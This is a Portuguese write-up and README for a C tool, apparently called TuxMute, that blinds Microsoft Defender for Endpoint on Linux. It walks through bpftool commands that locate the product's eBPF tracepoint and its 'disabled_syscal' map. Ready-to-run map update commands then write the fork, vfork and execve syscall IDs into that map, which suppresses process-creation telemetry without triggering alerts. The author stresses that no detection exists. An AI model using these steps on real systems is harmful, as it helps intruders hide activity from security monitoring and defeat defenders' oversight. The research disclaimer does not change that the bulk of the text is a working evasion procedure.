
Ferramenta em C que silencia a telemetria do Microsoft Defender for Endpoint no Linux ao escrever IDs de syscall no mapa eBPF disabled_syscal exposto, suprimindo eventos de criação de processos.

MDE para silenciar a telemetria do Linux.
Embora exija acesso root (não considerado um limite de segurança pela Microsoft), é uma forma muito furtiva de desativar a telemetria do MDE para Linux.
Funciona abusando do mapa bpf exposto disabled_syscal. Ele coloca os números de syscall dentro deste mapa para dificultar a capacidade do MDE de gerar telemetria para determinada syscall.
Testado em Linux debianMDE 6.12.107+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux.
A Microsoft lançou recentemente a proteção contra adulteração em pré-visualização; ainda não consegui instalá-la no meu host, portanto não posso confirmar se isso ainda funcionaria.
Não me responsabilizo por qualquer uso indevido deste software.
Se você optar por usar o TuxMute (s1l3nc3r) para fins maliciosos, isso é responsabilidade exclusivamente sua.
Esta ferramenta é fornecida no estado em que se encontra, apenas para pesquisa, educação e testes de segurança autorizados.
gcc -O2 -Wall s1l3nc3r.c -o s1l3nc3r -lbp
sudo bpftool prog show
O comando acima listará todos os programas eBPF atualmente carregados, com alguns detalhes sobre os hooks deles no kernel.
Um tracepoint chamou minha atenção:
367: tracepoint name sched_process_exec tag 9c75ffc2b762e640 gpl
loaded_at 2026-09-03T14:06:43-0400 uid 0
xlated 13272B jited 7499B memlock 16384B map_ids 69,54,62,71,70,73,58,72
btf_id 126
Os hooks acima se conectam diretamente ao tracepoint sched:sched_process_exec, portanto às suas típicas syscalls execve() ou execveat().
Ele também fornece mapas BPF aos quais retornaremos em breve.
A criação de processos é bastante interessante do ponto de vista de telemetria, então talvez seja interessante aprender mais sobre isso, não acha?
sudo bpftool prog dump xlated id 367
Com o comando acima, podemos despejar o bytecode eBPF do programa (367) que identificamos em algumas instruções de pseudo-assembly.
A saída é enorme, então vamos nos limitar apenas às primeiras 30 linhas. NOTA: Não vou seguir cada linha, vou apenas apontar algumas coisas interessantes que são bastante óbvias quando você olha para esta saída.
sudo bpftool prog dump xlated id 367 | head -n 30
int sched_process_exec(struct trace_event_raw_sched_process_exec * ctx):
; struct task_struct *task = (void *)bpf_get_current_task();
0: (85) call bpf_get_current_task#-112048
1: (bf) r7 = r0
2: (b7) r1 = 59
3: (63) *(u32 *)(r10 -24) = r1
4: (bf) r2 = r10
5: (07) r2 += -24
; system_call_disabled = bpf_map_lookup_elem(&disabled_syscall_events_map, &syscall_id);
6: (18) r1 = map[id:69]
8: (85) call __htab_map_lookup_elem#288832
9: (15) if r0 == 0x0 goto pc+1
10: (07) r0 += 56
; return system_call_disabled && (*system_call_disabled == 1);
11: (55) if r0 != 0x0 goto pc+155
12: (7b) *(u64 *)(r10 -96) = r7
; uint64_t pid_tid = bpf_get_current_pid_tgid();
13: (85) call bpf_get_current_pid_tgid#245584
14: (bf) r8 = r0
; uint64_t uid_gid = bpf_get_current_uid_gid();
15: (85) call bpf_get_current_uid_gid#246208
16: (bf) r9 = r0
; uint32_t cpu_id = bpf_get_smp_processor_id();
17: (b4) w0 = 217548
18: (bf) r0 = &(void __percpu *)(r0)
19: (61) r0 = *(u32 *)(r0 +0)
; uint32_t cpu_id = bpf_get_smp_processor_id();
20: (63) *(u32 *)(r10 -76) = r0
21: (bf) r2 = r10
22: (07) r2 += -76
Obtemos o ponteiro para a struct task struct do processo atual (contém todos os detalhes sobre a tarefa que, no mundo Linux, podemos considerar apenas um processo ou thread). Salvamos o ponteiro obtido em r7.
Carregamos 59 em r1 (59 é o número de syscall para x86_64 para execve.
Empilhamos na pilha.
Carregamos a referência para o mapa com id 69 (lembre-se do primeiro dump que fizemos, havia ids de mapas listados). O mapa é referenciado como disabled_syscasll_events_map.
Fazemos uma consulta para ver se 59 está lá.
Se isso estiver desabilitado, então ele salta adiante.
Você pode continuar indefinidamente com isso para ver qual seria, no final, o caminho executado. No entanto, acredito que está bastante autoexplicativo o que diabos está acontecendo aqui.
MUITO PROVAVELMENTE QUE ESTE MAPA (69, rs acabei de notar o número heheheeheheh) seja responsável por armazenar números de syscall que devem ser excluídos da geração de telemetria?
Você pode extrair mais informações sobre o mapa:
sudo bpftool map show id 69
69: hash name disabled_syscal flags 0x0
key 4B value 1B max_entries 512 memlock 55168B
Quer dizer... chama-se disabled_syscal. Isto também nos dá detalhes sobre o que o mapa espera - 4 bytes para a chave, o que corresponderia a um inteiro de 32 bits para o ID da syscall, e 1 byte para um bool que indica se está desativada ou não (1|0).
Podemos atualizar o nosso mapa com a informação correta:
sudo bpftool map update id 69 key 0x3b 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x39 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x3a 0x00 0x00 0x00 value 0x01
sudo bpftool map dump id 69
key: 39 00 00 00 value: 01
key: 3b 00 00 00 value: 01
key: 3a 00 00 00 value: 01
Então atualizámos o nosso mapa com algumas syscalls 57 (0x39) fork, 58 (0x3a) vfork, 59 (0x3b) execve. Apenas algumas coisas relacionadas com a criação de processos.
O MDE contém o mapa destes números de syscall neste ficheiro: cat /opt/microsoft/mdatp/conf/syscalls.conf
cat /opt/microsoft/mdatp/conf/syscalls.conf | head -n 60
0=read,3
1=write,3
2=open,3
3=close,1
4=stat,2
5=fstat,2
6=lstat,2
7=poll,3
8=lseek,3
9=mmap,6
10=mprotect,3
<SNIP>
57=fork,0
58=vfork,0
59=execve,3
Depois de realizar essas atividades e, em seguida, executar inúmeros processos diferentes, o DeviceProcessEvents não está mostrando nada.
NOTA: o id do tracepoint e do map seria diferente a cada carregamento do ebpf.
Pelo que observei, depois que você coloca os valores lá, eles permanecem. Obviamente, isso não sobreviverá ao reboot.
Você pode remover o silêncio:
sudo bpftool map delete id 69 key 0x3b 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x39 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x3a 0x00 0x00 0x00
sudo bpftool map dump id 69
Found 0 elements
Enquanto os eventos de processo estavam silenciados, executei alguns curls para o google e notei que os DeviceNetworkEvents estão sendo populados; muito provavelmente uma syscall diferente é responsável por essa telemetria. No entanto, o interessante é que você não encontraria o processo usando esse processid em DeviceProcessEvents, pois ele não está lá (isso por si só poderia ser uma forma interessante de detectar isso).
É importante dizer que atualmente não há detecção para isso, você NÃO verá telemetria especial, a timeline também é impactada por isso, pelo que notei.
Você poderia dizer que isso não é grande coisa, e não é considerado uma fronteira de segurança porque você tem root e pode fazer qualquer coisa, como matar o processo LOL. Isso é justo, mas fazer isso pelo caminho do mapa ebpf é mais sutil e não gerará nenhuma telemetria no MDE que apontaria para adulteração do mapa (EVENTOS DE PROCESSO DO bpftool não contam, você pode escrever um programa em modo usuário e fazer isso de lá lol, então boa sorte procurando por sudo ./beningPROCHEHE nos seus logs).
O que é realmente importante aqui é a telemetria ou a FALTA dela.
Além disso, enquanto as syscalls estão desabilitadas, tudo está verde no que diz respeito à saúde do MDE, sem problema, parceiro.